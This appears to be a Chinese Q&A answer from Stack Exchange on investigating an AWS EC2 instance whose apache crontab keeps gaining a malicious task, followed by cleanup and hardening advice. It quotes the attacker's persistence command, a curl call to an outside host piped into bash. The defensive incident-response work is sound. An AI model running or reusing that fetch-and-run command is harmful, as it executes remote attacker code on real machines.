AWS EC2实例crontab反复被篡改植入恶意curl任务排查

这是明确的实例被入侵事件，你看到的curl -sk "http://static.megalodon.host/sync?time=1655833656" | bash > /dev/null 2>&1是典型的僵尸网络/挖矿团伙的持久化任务，作用是定期拉取恶意脚本到本地执行，一般会植入挖矿程序、内网扫描器，甚至留存更隐蔽的长期后门。

结合恶意任务运行在apache用户下的特征，攻击路径优先级从高到低如下：

• Web应用漏洞是最核心的入侵入口：部署在Apache上的业务（比如WordPress等CMS、自研Java/PHP应用、第三方插件）存在远程代码执行、任意文件上传、未授权访问类漏洞，被互联网上的批量扫描器命中后，攻击者直接拿到apache用户的执行权限，写入crontab做持久化。每隔一周crontab被重置的情况，要么是之前未清理干净恶意驻留进程，进程定期检测到crontab被篡改就重新写入恶意任务；要么是Web漏洞未修复，攻击者每次扫到漏洞就会重新投毒。
• 早期配置缺陷导致的权限泄露：当前虽然删除了旧密钥、收紧了SSH访问规则，但如果实例之前曾开放SSH密码登录且存在弱口令、AK/SK硬编码在Web目录被公开下载、对外开放过Redis/Docker API/数据库等未授权服务，攻击者可能早就留存了其他维度的后门，不局限于apache用户的crontab。
• 供应链或镜像投毒：如果EC2是用第三方自定义镜像启动的，或者安装过来源不明的rpm包、Web插件，也可能内置了恶意驻留逻辑。

紧急清理步骤 #

• 全量排查所有定时任务位置：不要只检查apache用户的crontab，要逐一核对/var/spool/cron/下所有用户的定时任务文件，同时检查/etc/crontab、/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/等系统级定时任务目录，删除所有陌生的执行条目和脚本。
• 清理恶意驻留进程：用ps auxf、top命令排查apache用户、root用户下的可疑进程，重点关注名称为xmrig、minerd、kdevtmpfsi的挖矿进程，以及无业务关联的curl、wget、陌生python/bash脚本进程，找到进程对应的文件路径后彻底删除，再终止进程。
• 排查Web目录下的后门：在Web根目录（一般是/var/www/）下查找最近1-2个月新增/修改的动态脚本文件，比如用find /var/www -type f \( -name "*.php" -o -name "*.jsp" -o -name "*.sh" \) -mtime -60筛选，和自有业务文件做比对，删除所有陌生的webshell文件。
• 检查系统后门：核对所有用户家目录下的.ssh/authorized_keys文件，删除陌生公钥；检查/etc/sudoers及/etc/sudoers.d/下的配置，删除非业务必需的sudo权限；检查/etc/ld.so.preload等系统预加载配置，删除陌生的动态链接库文件。

长期加固措施 #

• 从根源限制服务用户权限：将apache用户写入/etc/cron.deny文件，禁止apache用户创建、修改crontab任务；Web服务目录的权限严格配置为apache只有读权限，需要写入的上传目录单独配置权限，禁止在上传目录下执行脚本。
• 收敛实例访问权限：不要在实例上硬编码长期AK/SK，把现有S3访问权限迁移到EC2绑定的IAM角色上，给角色配置最小必要权限，定期轮换凭证；安全组除了限制SSH源IP外，所有非Web服务端口（比如数据库、缓存、服务管理端口）一律禁止对公网开放；Web服务前接入WAF拦截常见Web攻击payload。
• 修复所有已知漏洞：给操作系统、Apache中间件、Web应用、第三方插件全量打最新安全补丁，重点修复已知的远程代码执行类漏洞，这是避免反复被入侵的核心。
• 做好监控与兜底：开启AWS CloudTrail、VPC流日志、主机层安全监控，对实例的异常外联（比如连接已知恶意IP、发起批量端口扫描）、异常文件修改（比如crontab文件变更、Web目录新增脚本）配置告警；如果反复清理后仍然出现恶意任务，直接备份业务数据后重装操作系统，部分高阶恶意程序会篡改系统命令、隐藏进程，手动清理很难彻底清除，重装是成本最低的兜底方案。

内容的提问来源于stack exchange，提问作者Yeak